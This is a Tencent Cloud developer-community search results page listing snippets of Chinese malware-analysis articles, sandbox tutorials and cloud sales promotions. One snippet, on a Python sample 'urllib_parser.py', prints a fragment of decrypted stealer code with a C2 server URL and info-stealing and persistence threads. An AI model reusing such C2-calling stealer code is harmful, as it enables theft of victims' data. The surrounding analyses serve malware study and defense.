恶意样本分析沙箱双11活动 - 腾讯云开发者社区

文章/答案/技术大牛

发布

一个Hancitor恶意邮件活动Word文档样本的分析

与“分析一个用于传播Hancitor恶意软件的Word文档（第一部分）”【https://www.freebuf.com/articles/system/181023.html】一文中描述的现象很相似。...经过对宏文档和PE负载的分析，发现本次样本包含的宏代码与Hancitor文档宏代码有较大的变化，但是通过对内含主要PE负载文件的分析，发现二者基本一致，比如IDA反汇编后形式、代码加密执行、网络通信协议...因此，可基本判定本次恶意邮件攻击属于Hancitor恶意邮件攻击行动。...二、恶意宏分析打开后，发现宏包含了两个窗体对象UserForm1和UserForm2，并且包含的内容都是“4d5a9000”开头的字符串，很明显这是两个PE文件。 ?...三、结语与以往宏病毒样本相比，本次恶意宏文档具备如下的几个特点： 1、没有网络下载动作。文档内直接包含恶意负载部分，没有利用类似powershell脚本下载恶意文件。 2、没有直接进程执行动作。

2.5K1 0

恶意样本 | 常用恶意软件分析平台

声明：本人坚决反对利用文章内容进行恶意攻击行为，一切错误行为必将受到惩罚，绿色网络需要靠我们共同维护，推荐大家在了解技术原理的前提下，更好的维护个人信息安全、企业安全、国家安全。...0x01 前言做为一名网络安全爱好者在日常工作中难免会用到一些恶意软件检测平台，用来分析一些木马样本，例如：钓鱼邮件的恶意样本分析，分析网上下载的工具是否存在木马后门，自己编写了免杀工具查看其免杀效果等...接下来，小编通过网上搜集了一些恶意软件检测的在线平台，总结如下： 0x02 恶意软件检测分析平台 VirSCAN： https://www.virscan.org VirusTotal： https:/...： https://www.maldun.com 微步在线云沙箱： https://s.threatbook.cn 腾讯哈勃分析系统： https://habo.qq.com 奇安信威胁情报中心： https...://ti.qianxin.com 大圣云沙箱检测系统： https://mac-cloud.riskivy.co

4.1K3 0

您找到你想要的搜索结果了吗？

是的

没有找到

恶意样本基础分析技巧

我们需要知道这个恶意代码到底做了什么，如何进行有效检测，才能进一步消除它带来的影响。本文主要通过几个简单的步骤，分享恶意样本分析的基本方法。...---- 1、多引擎在线病毒扫描找到了一个恶意样本程序，通过多病毒引擎进行安全扫描，可以帮助你判断文件是否为恶意程序。 VirSCAN：免费多引擎在线病毒扫描1.02版，支持47个杀毒引擎。...2、文件哈希值文件哈希值是恶意代码的指纹，通过它用来确认文件是否被篡改，也可以通过HASH值查找恶意样本，一般我们也可以使用多种哈希验证文件的唯一性。 ?...可通过获取关键信息，来猜测恶意代码的功能。 ? 6、云沙箱分析将恶意样本上传到微步云沙箱，通过威胁情报、静态和动态行为分析，以发现恶意程序存在的异常。...微步云沙箱： https://s.threatbook.cn/ ? 7、动态行为分析通过火绒剑对文件行为、注册表行为、进程行为、网络行为进行分析，捕获恶意样本特征。 ?

3.1K2 0

腾讯双11活动全解析

众所周知，腾讯云一直被大家称为良心云，而隔壁的套路云也已在举行双11的活动，但套路太多，反观腾讯云要良心很多，也更直接，跟着我一起来看看吧。...[微信截图_20181030143257.png] 马上进入官方活动主会场新用户一键领取2775元代金券福利1：爆品秒杀每日5场秒杀，分别于 9:00 / 11:00 / 14:00 / 16:00...福利3：升级续费大礼包本次活动可一键领取升级券总计18张，共计6945元，升级券可用于服务升级。本次活动可一键领取续费券总计18张，共计6090元，续费券可用于服务续费。...福利4：云安全，云视频专场 80%直播领军企业信赖之选，详情可进入活动页查看。...总结腾讯云的活动总的来说比阿li云的活动要良心很多，不是一定要新用户才能购买，老用户同时可以参与，真是良心，不多说了，我也要去续费了，升级服务器了。

53.1K5 0

Roaming Mantis恶意活动分析报告

卡巴斯基持续关注分析Roaming Mantis相关网络活动。该组织的攻击方法有所改进，不断在新的攻击目标上窃取资金。攻击者利用白名单和运行环境检测等技术避免被分析溯源。...再次说明犯罪分子在活动中总是利用热点话题。白名单功能 Roaming Mantis在Wroba.g登陆页面（目前仅在朝鲜语页面）中采用了白名单功能，可逃避安全研究人员。...2019年，APK文件中使用Multidex隐藏恶意加载模块，分析表明它正在被一点一点地修改： ? 用红色正方形标记的类${num}.dex是恶意加载程序模块，所有其他的DEX文件都是垃圾代码。...目标分析 Wroba.g的目标是日本的运营商和在线银行，攻击者将受害者重定向到钓鱼网站，以窃取凭据： ?...当恶意软件在受感染设备上检测到日本在线银行或特定移动运营商时，它会在后台连接到pinterest.com的恶意帐户获取钓鱼网站。

1.6K1 0

红蓝对抗-Cuckoo 恶意软件分析沙箱部署教程

Cuckoo Cuckoo(布谷鸟)沙箱是一个开源且免费的自动化的恶意样本分析系统。...，概述该文件在沙箱中执行时的行为,支持分析Windows, macOS, Linux, 和 Android下的恶意文件....当提交样本到cuckoo host后，cuckoo host会调度一个空闲的analysis guest节点，同时将样本传递给所选择的沙箱节点进行自动化分析，分析结束之后将沙箱节点采集到的分析数据进行汇总...等待状态变为reported说明已经分析完成，点击任务可查看分析报告总结总体来说cuckoo还是一款比较完善且专业的开源沙箱分析系统, 对于研究分析恶意软件和应急响应人员来说都是一个很不错的选择...稍有差错会导致运行失败英文界面, 需要使用者具有一定的英语基础内存分析时间太长, 基本都在半小时左右更新迭代慢(最新版本为2019年发布) 默认的规则, 样本库对恶意软件的支持较少对于新的恶意软件需要使用者自己编写

9K1 0

云上盛宴-腾讯云双11活动玩法攻略

这不，为了助力轻松上云，腾讯云双十一活动它来了！各种类型的云产品及各种福利活动玩法可供选择。话不多说，直接上玩法和链接！点击此双11活动链接，直接进入，进入后页面如下。...四、会员冲榜，万元大礼速来拿双十一活动期间（即日起至2024年11月30日23:59:59），除了普通用户福利外，会员还享有会员冲榜福利，即根据会员消费额度的不同赠送相应代金券。...非会员的友友们可以借助本次活动限时入会哦（11月1日-11月30日任意消费满499元）五、双人成团，折扣商品任意拼拼团购买，价格更优！是的，你没听错，云产品也能拼团了。...除了购买双11的活动商品享全年最优折扣外，也不能小看了拼团的福利优惠哦，关于拼团的两个玩法技巧总结如下： 1）将多个“可拼团”商品合并下单去拼团，这样只需要去发起1次拼团，所有商品都能享受赠送（最高3个月的时长...以上就是我对腾讯云双十一活动玩法的一些见解和攻略。勿需多言，有需要的小伙伴们赶紧点此双11活动链接加购吧！！

21.8K2 1

疑似 KimsukyAPT 组织最新攻击活动样本分析

样本分析进入主函数后读取资源“JUYFON”。查看文件资源“JUYFON”应该为一段加密后的数据。...应该是一个有更复杂功能的dll木马文件，且load该dll并没有去call 其他导出函数，猜测该dll的恶意代码都在dllmain里面。...样本信息 Md5 28833e121bb77c8262996af1f2aeef55 此样本上传时间稍早，代码结构完成一致，粗略分析仅两处与上一个样本不同： 1.生产的迷惑文件文字不同： 2.c2服务器的域名及...,并且Kimsuky攻击活动中曾经使用过，同时结合样本的掩护文档的内容，可以确定被攻击者目标是韩国大学相关人士，完全符合以往Kimsuky的攻击意图，因此可以断定此样本的来源大概率是Kimsuky。...总结通过分析可以看出最新的样本依然有多阶段方便攻击者重新组合攻击工具的特点，目前知道创宇NDR流量监测产品已经支持对次APT攻击活动的精准检测： IOC MD5: adc39a303e9f77185758587875097bb6

1.4K4 0

负载恶意软件HawkEye的VB Inject样本分析

0x01 概述恶意软件HawkEye的利用大多都是通过钓鱼邮件分发，利用office直接启动HawkEye主体或者一些经过加密的程序，本文中的VB Inject属于后者，也把重心放在了调试这个VB程序上...VirusTotal上的该样本信息： ? 病毒名大多为VBKrypt或者VBInject。 0x02 行为监控 ?...用wireshark抓网络行为，发现该样本会访问http://whatismyipaddress.com/，并与yandex邮件服务器建立连接。 ?...0x05 样本主体在之前的行为监控中，注意到，样本在C:\User\user\AppData\Romaing\目录下生成了三个文件 pid.txt，pidloc.txt，WindowsUpdate.exe...反编译成功后，发现该程序是恶意软件HawkEye，用于凭据窃取，包括电子邮件Web浏览器，Bitcoin钱包，反病毒检查，键盘记录等。

1.9K1 0

记一次py恶意样本分析实战

原文链接：https://xz.aliyun.com/news/19111打开py文件，发现样本包含了很长一段的payload，经过多层解压后通过exec来执行代码。...exec是恶意样本常用的命令，典型搭配是先用compile将字节串/字符串编译成可执行对象，再用exec触发执行；常见变体包括：eval/exec混用、getattr(__builtins__, 'exec...Step2-隐藏字符处理下面进入第二部分的分析我们可以通过几种方式验证：输出一下payload的长度；打印hex形式发现确有问题，很多不正常的字符。...compile(..., '', 'exec') 常配合自定义 globals() 污染命名空间，动态执行务必隔离（沙箱/容器/只读FS）。...行为侧：沙箱内记录网络、文件、进程与模块加载轨迹；对可疑 __import__ 重绑定与 sys.modules 操作做钩子与审计。

6591 0

恶意代码分析实战六：熊猫烧香病毒样本分析

熊猫烧香行为分析查壳因为程序肯定是病毒,我就不上传杀毒网去查杀了。正常我们在分析一个未知恶意程序的时候，流程都是要先上传杀毒网看看。...导出表中分析出URLDownload函数，此函数多为下载者恶意程序。弱口令内网135端口爆破感染U盘下载者功能 135弱口令爆破密码。 U盘感染字符串关键字。恶意下载者函数。...行为分析进程树监控这里我们还是用Process Monitor来监控病毒行为，打开Process Monitor，在筛选条件中将“样本.exe”加入到筛选器的“Process Name”中，然后运行病毒...main入口函数用“倚天剑”IDA Pro载入样本后可以看到如下图：图1是样本的main函数入口最开始的汇编代码，我们不从第一行汇编代码开始看，因为大部分内容都是Delphi自动生成的，我们只找关键位置来看...，就有分析出样本.exe会把自身拷贝到这个目录，达到伪装隐蔽的效果。

5.2K2 0

腾讯云双11活动COS标准存储产品深度评测

引言每年的双11购物节，已经成为# 腾讯云双11活动COS标准存储产品优惠与产品介绍特性引言每年的双11购物节，作为中国最大的购物狂欢节，吸引了无数消费者的目光。...本文将详细介绍腾讯云COS标准存储的产品特性、使用场景、优惠活动以及如何在双11期间最大化利用这些优惠。...三、双11活动优惠3.1 活动时间腾讯云双11活动通常在每年的11月11日进行，活动时间一般持续数天，具体时间以腾讯云官网公告为准。...3.3 如何参与活动用户可以通过以下步骤参与腾讯云双11活动：注册腾讯云账号：如果你还没有腾讯云账号，可以前往腾讯云官网注册一个新账号。...Q5: 双11活动的优惠如何获取？用户可以在活动期间登录腾讯云控制台，选择COS标准存储产品，按照提示完成购买，即可享受相应的优惠。

36K1 0

恶意软件分析：xHunt活动又使用了新型后门

写在前面的话 xHunt活动从2018年7月份一直活跃至今，这个组织的主要目标针对的是科威特政府和航运运输组织。...具体分析请大家继续阅读下文。 TriFive和Snugy后门在2020年9月份，我们发现xHunt攻击者入侵了科威特的一家机构组织。...我们在分析服务器日志时，发现了两个由攻击者创建的计划任务，这两个任务都会运行恶意的PowerShell脚本。...我们认为，攻击者选择这个任务名称主要是为了隐藏自己的攻击活动。...Snugy是CASHY200后门的一个变种版本，攻击者也曾在之前的xHunt活动中使用过这个后门。

3.5K1 0

沙箱中的恶意软件分析：剖析“Egg-xecutable”的攻击手法

Advent of Cyber 2025 第6天 | TryHackMe | 恶意软件分析 — Egg-xecutable | WriteUp免责声明：本文基于 TryHackMe 平台上托管的夺旗挑战赛...恶意软件分析是检查恶意文件以了解其功能、操作方式以及如何防御它的过程。通过分析一个恶意的文件或应用程序，我们可以确切地了解它的运作方式，从而知道如何防范它。例如，恶意文件是否会与攻击者的服务器通信？...恶意文件是否会在机器上留下痕迹？我们可以利用这些痕迹来确定该恶意软件是否曾感染过其他设备。...我们不应惧怕恶意软件，而应采取主动措施，将技术发现转化为实用的防御手段，并理解该恶意软件如何融入攻击者的技术体系中。任务1 引言我拥有访问我的沙箱环境的权限！

2101 0

Norimaci：一款针对macOS的轻量级恶意软件分析沙箱

关于Norimaci Norimaci是一款针对macOS的轻量级恶意软件分析沙箱，Norimaci使用了OpenBSM和Monitor.app的功能来监控macOS操作系统的活动（没有使用Sysinternals...在该工具的帮助下，广大研究人员可以轻松监控macOS下的恶意软件活动情况。...我们需要构建一个macOS虚拟机来执行恶意软件样本。...广大研究人员可以使用下列命令将该项目源码克隆至本地： git clone https://github.com/mnrkbys/norimaci.git 工具使用结合OpenBSM使用 1、使用sudo运行norimaci.py； 2、运行恶意软件样本...1、使用sudo运行norimaci.py； 2、Norimaci启动Monitor.py后输入密码，因为Monitor.app需要密码来安装它的kext文件； 3、运行一个恶意软件样本； 4、等待一段时间

1.7K1 0

恶意软件分析：基于PHP的skimmer表明Magecart活动仍在继续

我们今天看到的活动是关于一些Magento1网站的，而这些网站已经被一个非常活跃的skimmer组织所入侵了。...通过分析后我们发现，去年秋天被发现的Magecart Group 12就是Magento 1攻击事件背后的始作俑者，而这个组织现在仍在继续传播新的恶意软件。...Web Shell以favicon的形式隐藏在对Magento 1网站使用网络爬虫进行分析时，我们检测到了一个伪装成favicon图标的新型恶意软件。...为了对这个Web Shell进行深入分析，我们将其进行了反向解码。我们看到，它会从一台域名为zolo[.]ow的外部主机获取数据。...在对m1_2021_force目录进行深入分析之后，我们发现了专门针对信用卡数据窃取的专用代码。

2.1K1 0

蓝队技术 | 使用Sysmon日志识别和分析Windows恶意活动

这些信息对于安全分析人员来说非常有用，因为它可以让我们看到系统上执行的所有程序，这意味着我们可以发现任何正在执行的恶意进程，以及感染目标系统的恶意程序是什么？...WMI操作等活动，通过分析Sysmon日志，安全专家可以检测潜在风险、发现异常并响应安全事件，以增强整体系统监控和安全性。...TimeCreated": "2024-02-14T03:41:56.5596188+00:00", "RecordNumber": 47 } 搜索这些哈希之后，我们发现目标代码已经被上传到了很多恶意软件沙箱...恶意软件源文件创建如果在恶意软件被下载的时候，Sysmon已经在运行了，那么它就会生成事件ID为11的事件。我们可以使用「jq -c」来选择这些事件，并按行输出。...恶意软件活动文件创建现在，我们从恶意进程（PID 10672）入手，通过日志分析，我们可以看到恶意软件在目标设备上创建了六个文件： PS > cat .\20240408132435_EvtxECmd_Output.json

2.9K1 0

腾讯云2024双11大促：详解活动规则，解锁超值优惠

2024年腾讯云11.11上云拼团Go 云计算如今已成为各行各业不可或缺的基石，每年的双11也是云计算服务商们展现实力、回馈用户的重要时刻。现在，腾讯云迎来了2024年的双11年度大促。...在这场活动中，腾讯云将为用户带来超值福利，无论是企业用户，还是个人开发者，相信都可以找到适合自己的云计算产品。那么，腾讯云2024年的双11活动究竟有哪些亮点？优惠力度如何？又该如何参与活动？...通过本文一起深入解析腾讯云双11活动的规则与优惠！请注意，具体活动时间、规则、商品价格及参与方法均以腾讯云官网页面为准。...活动时间、活动入口活动时间：2024年11月1日至 2024年11月30日23:59:59。...活动规则：双11大促活动页面的指定商品，即展示带有 “可拼团”角标的商品，均可以参加拼团，下单支付完成后，选择商品订单去开团或参团，才能算作拼团成功，因此购买商品后，需尽快去选择订单参团。

32.9K1 1

实战：一次Python恶意样本“urllib_parser.py”的分析

解密后的Payload代码分析：#---解密后获得的真实恶意代码---importsubprocessimportthreadingC2_SERVER="http://malicious-c2.com/...threading.Thread(target=info_stealer)t3=threading.Thread(target=persist)t1.start()t2.start()t3.start()三、动态分析在隔离的沙箱环境...ProcessMonitor(ProcMon)/strace：监控文件、进程、注册表活动。python-mtrace：跟踪Python脚本执行。...四、恶意行为总结该Python样本urllib_parser.py是一个功能完整的、多模块的恶意软件，其主要恶意行为包括：信息窃取：系统性收集受害主机的敏感信息，包括：系统主机名和用户名。...五、修复与加固建议立即处置：终止样本进程及其衍生的任何Shell进程。从crontab中删除恶意定时任务：crontab-e。彻底删除恶意样本文件/tmp/urllib_parser.py。

3991 0

对“利比亚天蝎”网络间谍活动的分析调查（附样本下载）

利比亚的政权动荡和长期内战可能众所周知，但其网络间谍和黑客活动或许鲜为人知。在这篇报告中，我们将首次披露一例涉及利比亚的恶意软件网络攻击活动。...概要 8月初，我们接收到了一类大量感染利比亚国内安卓手机用户的恶意软件样本，这些样本尤其在黎波里和班加西比较活跃，它们通过手机Telegram程序广泛传播，主要针对有影响力的社会名流和政治人士。...该类恶意软件感染手机之后，会继续向通讯录人员散播恶意程序Voice Massege.apk，形成更大的受害者网络。经我们调查分析，确信这是由某政党发起，并以情报收集和秘密监视为目的恶意软件攻击活动。...VirusTotal，经比对发现，VirusTotal库中还没有这类型恶意程序记录，这是首例上传样本。...Sinkhole Sinkhole技术:通过实际网络设备模拟真实网络环境，形成网络沙箱(Sandbox)。

2.3K7 0

点击加载更多

一个Hancitor恶意邮件活动Word文档样本的分析

恶意样本 | 常用恶意软件分析平台

恶意样本基础分析技巧

腾讯双11活动全解析

Roaming Mantis恶意活动分析报告

红蓝对抗-Cuckoo 恶意软件分析沙箱部署教程

云上盛宴-腾讯云双11活动玩法攻略

疑似 KimsukyAPT 组织最新攻击活动样本分析

负载恶意软件HawkEye的VB Inject样本分析

记一次py恶意样本分析实战

恶意代码分析实战六：熊猫烧香病毒样本分析

腾讯云双11活动COS标准存储产品深度评测

恶意软件分析：xHunt活动又使用了新型后门

沙箱中的恶意软件分析：剖析“Egg-xecutable”的攻击手法

Norimaci：一款针对macOS的轻量级恶意软件分析沙箱

恶意软件分析：基于PHP的skimmer表明Magecart活动仍在继续

蓝队技术 | 使用Sysmon日志识别和分析Windows恶意活动

腾讯云2024双11大促：详解活动规则，解锁超值优惠

实战：一次Python恶意样本“urllib_parser.py”的分析

对“利比亚天蝎”网络间谍活动的分析调查（附样本下载）

相关资讯

热门标签

活动推荐

运营活动

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐